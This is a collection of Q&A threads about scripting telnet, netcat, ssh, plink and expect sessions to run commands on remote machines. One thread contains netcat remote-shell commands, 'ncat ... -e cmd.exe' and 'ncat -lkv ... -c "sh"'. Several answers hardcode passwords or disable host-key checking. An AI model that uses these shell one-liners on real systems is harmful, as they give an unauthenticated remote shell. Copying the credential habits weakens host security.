open telnet using shell and passing commands - linux

I am new to linux and shell scripting. I want to connect to localhost and interact it.
#! /bin/bash
(exec /opt/scripts/run_server.sh)
when i execute this bash script, it starts listening on a port.
Listening on port xxxxx
Now i want to issue this command "telnet localhost xxxxx"
I tried something like this:
#! /bin/bash
(exec /opt/opencog/scripts/run_server.sh)&&
telnet localhost xxxxx
It is still listening on the port. But i think second command is not running. I expect another window showing that it is being connected like this.
vishnu#xps15:~$ telnet localhost xxxx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
server>
The reason why i executing these as a script is that, automatically in the server i need to carry out some process by issuing certain commands like this "scm" "parse" etc.....
vishnu#xps15:~$ telnet localhost xxxx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
server>scm
Entering scheme shell; use ^D or a single . on a line by itself to exit.
guile> (parse "i eat apple")
I have lots of text coming. Manually i cant issue this parse command for each and every sentence. so i want to automate. So i need to write a script for connecting to the server and interacting.
Any guidelines. Finally How to interact/send commands to this guile shell?

One way to login to the linux server as a same or different user and run some command or .sh script (very useful for post-commit hooks or cron jobs) is to use program called sshpass, for example a cron job command or svn post-commit hook would look like this:
/usr/bin/sshpass -p 'password' /usr/bin/ssh
-o StrictHostKeyChecking=no -q user#localhost 'any command'
Just replace password with your password, and user with your user, and put command that you need to run as that particular user...
To install sshpass it on ubuntu just type
apt-get install sshpass
Or on CentOs
yum install sshpass

I solved this with the netcat (nc) command.
$ echo "command1\ncommand2\n" | nc localhost xxxxx
I could manually connect to localhost using telnet localhost xxxx and then i can pass commands from shell to localhost like this.

If you need to use telnet, this solution may help you. Otherwise, use ssh, as other answer suggests.
You can use anything that produces output to write lines one by one, followed by "\r\n", and pipe these lines to ncat, e.g.:
echo -e "command1\r\ncommand2\r\n" | ncat localhost 5000
-e option makes echo interpret "\r\n" as special symbols.

Related

Running bash script over SSH [duplicate]

I have to run a local shell script (windows/Linux) on a remote machine.
I have SSH configured on both machine A and B. My script is on machine A which will run some of my code on a remote machine, machine B.
The local and remote computers can be either Windows or Unix based system.
Is there a way to run do this using plink/ssh?
If Machine A is a Windows box, you can use Plink (part of PuTTY) with the -m parameter, and it will execute the local script on the remote server.
plink root#MachineB -m local_script.sh
If Machine A is a Unix-based system, you can use:
ssh root#MachineB 'bash -s' < local_script.sh
You shouldn't have to copy the script to the remote server to run it.
This is an old question, and Jason's answer works fine, but I would like to add this:
ssh user#host <<'ENDSSH'
#commands to run on remote host
ENDSSH
This can also be used with su and commands which require user input. (note the ' escaped heredoc)
Since this answer keeps getting bits of traffic, I would add even more info to this wonderful use of heredoc:
You can nest commands with this syntax, and that's the only way nesting seems to work (in a sane way)
ssh user#host <<'ENDSSH'
#commands to run on remote host
ssh user#host2 <<'END2'
# Another bunch of commands on another host
wall <<'ENDWALL'
Error: Out of cheese
ENDWALL
ftp ftp.example.com <<'ENDFTP'
test
test
ls
ENDFTP
END2
ENDSSH
You can actually have a conversation with some services like telnet, ftp, etc. But remember that heredoc just sends the stdin as text, it doesn't wait for response between lines
I just found out that you can indent the insides with tabs if you use <<-END!
ssh user#host <<-'ENDSSH'
#commands to run on remote host
ssh user#host2 <<-'END2'
# Another bunch of commands on another host
wall <<-'ENDWALL'
Error: Out of cheese
ENDWALL
ftp ftp.example.com <<-'ENDFTP'
test
test
ls
ENDFTP
END2
ENDSSH
(I think this should work)
Also see
http://tldp.org/LDP/abs/html/here-docs.html
Also, don't forget to escape variables if you want to pick them up from the destination host.
This has caught me out in the past.
For example:
user#host> ssh user2#host2 "echo \$HOME"
prints out /home/user2
while
user#host> ssh user2#host2 "echo $HOME"
prints out /home/user
Another example:
user#host> ssh user2#host2 "echo hello world | awk '{print \$1}'"
prints out "hello" correctly.
This is an extension to YarekT's answer to combine inline remote commands with passing ENV variables from the local machine to the remote host so you can parameterize your scripts on the remote side:
ssh user#host ARG1=$ARG1 ARG2=$ARG2 'bash -s' <<'ENDSSH'
# commands to run on remote host
echo $ARG1 $ARG2
ENDSSH
I found this exceptionally helpful by keeping it all in one script so it's very readable and maintainable.
Why this works. ssh supports the following syntax:
ssh user#host remote_command
In bash we can specify environment variables to define prior to running a command on a single line like so:
ENV_VAR_1='value1' ENV_VAR_2='value2' bash -c 'echo $ENV_VAR_1 $ENV_VAR_2'
That makes it easy to define variables prior to running a command. In this case echo is our command we're running. Everything before echo defines environment variables.
So we combine those two features and YarekT's answer to get:
ssh user#host ARG1=$ARG1 ARG2=$ARG2 'bash -s' <<'ENDSSH'...
In this case we are setting ARG1 and ARG2 to local values. Sending everything after user#host as the remote_command. When the remote machine executes the command ARG1 and ARG2 are set the local values, thanks to local command line evaluation, which defines environment variables on the remote server, then executes the bash -s command using those variables. Voila.
<hostA_shell_prompt>$ ssh user#hostB "ls -la"
That will prompt you for password, unless you have copied your hostA user's public key to the authorized_keys file on the home of user .ssh's directory. That will allow for passwordless authentication (if accepted as an auth method on the ssh server's configuration)
I've started using Fabric for more sophisticated operations. Fabric requires Python and a couple of other dependencies, but only on the client machine. The server need only be a ssh server. I find this tool to be much more powerful than shell scripts handed off to SSH, and well worth the trouble of getting set up (particularly if you enjoy programming in Python). Fabric handles running scripts on multiple hosts (or hosts of certain roles), helps facilitate idempotent operations (such as adding a line to a config script, but not if it's already there), and allows construction of more complex logic (such as the Python language can provide).
cat ./script.sh | ssh <user>#<host>
chmod +x script.sh
ssh -i key-file root#111.222.3.444 < ./script.sh
Try running ssh user#remote sh ./script.unx.
Assuming you mean you want to do this automatically from a "local" machine, without manually logging into the "remote" machine, you should look into a TCL extension known as Expect, it is designed precisely for this sort of situation. I've also provided a link to a script for logging-in/interacting via SSH.
https://www.nist.gov/services-resources/software/expect
http://bash.cyberciti.biz/security/expect-ssh-login-script/
ssh user#hostname ". ~/.bashrc;/cd path-to-file/;. filename.sh"
highly recommended to source the environment file(.bashrc/.bashprofile/.profile). before running something in remote host because target and source hosts environment variables may be deffer.
I use this one to run a shell script on a remote machine (tested on /bin/bash):
ssh deploy#host . /home/deploy/path/to/script.sh
if you wanna execute command like this
temp=`ls -a`
echo $temp
command in `` will cause errors.
below command will solve this problem
ssh user#host '''
temp=`ls -a`
echo $temp
'''
If the script is short and is meant to be embedded inside your script and you are running under bash shell and also bash shell is available on the remote side, you may use declare to transfer local context to remote. Define variables and functions containing the state that will be transferred to the remote. Define a function that will be executed on the remote side. Then inside a here document read by bash -s you can use declare -p to transfer the variable values and use declare -f to transfer function definitions to the remote.
Because declare takes care of the quoting and will be parsed by the remote bash, the variables are properly quoted and functions are properly transferred. You may just write the script locally, usually I do one long function with the work I need to do on the remote side. The context has to be hand-picked, but the following method is "good enough" for any short scripts and is safe - should properly handle all corner cases.
somevar="spaces or other special characters"
somevar2="!##$%^"
another_func() {
mkdir -p "$1"
}
work() {
another_func "$somevar"
touch "$somevar"/"$somevar2"
}
ssh user#server 'bash -s' <<EOT
$(declare -p somevar somevar2) # transfer variables values
$(declare -f work another_func) # transfer function definitions
work # call the function
EOT
The answer here (https://stackoverflow.com/a/2732991/4752883) works great if
you're trying to run a script on a remote linux machine using plink or ssh.
It will work if the script has multiple lines on linux.
**However, if you are trying to run a batch script located on a local
linux/windows machine and your remote machine is Windows, and it consists
of multiple lines using **
plink root#MachineB -m local_script.bat
wont work.
Only the first line of the script will be executed. This is probably a
limitation of plink.
Solution 1:
To run a multiline batch script (especially if it's relatively simple,
consisting of a few lines):
If your original batch script is as follows
cd C:\Users\ipython_user\Desktop
python filename.py
you can combine the lines together using the "&&" separator as follows in your
local_script.bat file:
https://stackoverflow.com/a/8055390/4752883:
cd C:\Users\ipython_user\Desktop && python filename.py
After this change, you can then run the script as pointed out here by
#JasonR.Coombs: https://stackoverflow.com/a/2732991/4752883 with:
`plink root#MachineB -m local_script.bat`
Solution 2:
If your batch script is relatively complicated, it may be better to use a batch
script which encapsulates the plink command as well as follows as pointed out
here by #Martin https://stackoverflow.com/a/32196999/4752883:
rem Open tunnel in the background
start plink.exe -ssh [username]#[hostname] -L 3307:127.0.0.1:3306 -i "[SSH
key]" -N
rem Wait a second to let Plink establish the tunnel
timeout /t 1
rem Run the task using the tunnel
"C:\Program Files\R\R-3.2.1\bin\x64\R.exe" CMD BATCH qidash.R
rem Kill the tunnel
taskkill /im plink.exe
This bash script does ssh into a target remote machine, and run some command in the remote machine, do not forget to install expect before running it (on mac brew install expect )
#!/usr/bin/expect
set username "enterusenamehere"
set password "enterpasswordhere"
set hosts "enteripaddressofhosthere"
spawn ssh $username#$hosts
expect "$username#$hosts's password:"
send -- "$password\n"
expect "$"
send -- "somecommand on target remote machine here\n"
sleep 5
expect "$"
send -- "exit\n"
You can use runoverssh:
sudo apt install runoverssh
runoverssh -s localscript.sh user host1 host2 host3...
-s runs a local script remotely
Useful flags:
-g use a global password for all hosts (single password prompt)
-n use SSH instead of sshpass, useful for public-key authentication
If it's one script it's fine with the above solution.
I would set up Ansible to do the Job. It works in the same way (Ansible uses ssh to execute the scripts on the remote machine for both Unix or Windows).
It will be more structured and maintainable.
It is unclear if the local script uses locally set variables, functions, or aliases.
If it does this should work:
myscript.sh:
#!/bin/bash
myalias $myvar
myfunction $myvar
It uses $myvar, myfunction, and myalias. Let us assume they is set locally and not on the remote machine.
Make a bash function that contains the script:
eval "myfun() { `cat myscript.sh`; }"
Set variable, function, and alias:
myvar=works
alias myalias='echo This alias'
myfunction() { echo This function "$#"; }
And "export" myfun, myfunction, myvar, and myalias to server using env_parallel from GNU Parallel:
env_parallel -S server -N0 --nonall myfun ::: dummy
Extending answer from #cglotr. In order to write inline command use printf, it useful for simple command and it support multiline using char escaping '\n'
example :
printf "cd /to/path/your/remote/machine/log \n tail -n 100 Server.log" | ssh <user>#<host> 'bash -s'
See don't forget to add bash -s
There is another approach ,you can copy your script in your host with scp command then execute it easily .
First, copy the script over to Machine B using scp
[user#machineA]$ scp /path/to/script user#machineB:/home/user/path
Then, just run the script
[user#machineA]$ ssh user#machineB "/home/user/path/script"
This will work if you have given executable permission to the script.

Ncat connect and immediately execute command on Windows

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).
Something similar to this:
Linux machine:
nc -lvp 4444; dir
Windows machine:
ncat 192.168.1.25 4444 -e cmd.exe
I need to immediately run a command as soon as a connection is made with the Windows machine.
If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.
Any help or suggestions would be greatly appreciated! Thanks.
https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/
this might be of help.
It should be:
##On the server. It opens the
##listening machine's shell.
ncat -lkv <port number> -c "sh"
##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
The command should be on nc's standard input, not a local command to run after nc finishes.
printf "dir\n" | nc -lvp 444
See also Pass commands as input to another command (su, ssh, sh, etc)

How to get the output of a telnet command from bash?

I'm trying to get the list of processes running on my Windows machine from Linux, but I don't get any output when I do it in a script. If I use telnet manually and use the command pslist I get the complete list of processes, but not in my script.
Here is the bash script (minus the variables):
( echo open ${host}
sleep 1
echo ${user}
sleep 3
echo ${pass}
sleep 1
echo pslist
sleep 2
) | telnet
and I simply call it with bash pslist.sh and the output is something like that:
telnet> Trying ip_address...
Connected to ip_address.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
login: my_loginmy_passwordpslistConnection closed by foreign host.
What am I doing wrong ?
telnet is notoriously tricky to script. You may be able to succeed more often if you add a longer still sleep between the commands.
A better approach is to switch to a properly scriptable client, viz. netcat (aka nc). Better still would be to install an SSH server on your Windows box (perhaps for security only make it accessible from inside your network) and set it up with passwordless authentication. Then you can simply ssh user#ipaddress pslist
Terminate each echo with \r character, like this: echo -e "${user}\r"

Is it possible to run multiple command with remote command option in putty?

I want to run multiple commands automatically like sudo bash, ssh server01, ls , cd /tmp etc at server login..
I am using Remote command option under SSH in putty.
I tried multiple commands with delimiter && but not working.
There is a some information lacking in your question.
You say you want to run sudo bash, then ssh server01.
Will sudo prompt for a password in your remote server?
Assuming there is no password in sudo, running bash will open another shell waiting for user input. The command ssh server01 will not be run until that bash shell is exited.
If you want to run 2 commands, try first simpler ones like:
ls -l /tmp ; echo "hi there"
or if you prefer:
ls -l /tmp && echo "hi there"
Does this work?
If what you want is to run ssh after running bash, you can try :
sudo bash -c "ssh server01"
That is probably because the command is expected to be a program name followed by parameters, which will be passed directly to the program. In order to get && and other functionality that is provided by a command line interpreter such as bash, try this:
/bin/bash -c "command1 && command2"
I tried what I suggested in my previous answer.
It is possible to run 2 simple commands in putty separated by a semicolon. As in my example I tried with ls and echo. The remote server runs them and then the session closes.
I also tried to ssh to a remote server that is configured for not asking for a password. In that case, it also works, I get connected to the 2nd server and I can run commands on it. Upon exit, the 2 connections are closed.
So please, let us know what you actually need / want.
You can execute two consecutive commands in PuTTY using a regular shell syntax. E.g. using ; or &&.
But you want to execute ssh server01 in sudo bash shell, right?
These are not two consecutive commands, it's ssh server01 command executed within sudo bash.
So you have to use a sudo command-line syntax to execute the ssh server01, like
sudo bash ssh server01

expect script on crontab not works completely

I am trying to write an expect script to telnet a machine and reboot it. When I run the script manually it works as expected
But when I try to run it autoaticall on crontab it doesn't complete the process.
The script is :
#!/usr/local/bin/expect
spawn telnet 192.168.1.1
expect "login:"
send "root\r"
expect "Password:"
send "<password>\r"
send "bash\r"
send "cd /opt\r"
send "reboot\r"
interact
the output of the script ( when it is run by cron )
spawn telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
DD-WRT v24-sp2 std (c) 2010 NewMedia-NET GmbH
Release: 08/07/10 (SVN revision: 14896)
RK-SWOT-2 login: root
Password:
and that's it. no more go forward on the cron.
Can you help me for this ?
I've fixed the issue.
I think the problem was with the interact command. I changed it to
expect eof
and the problem gone.

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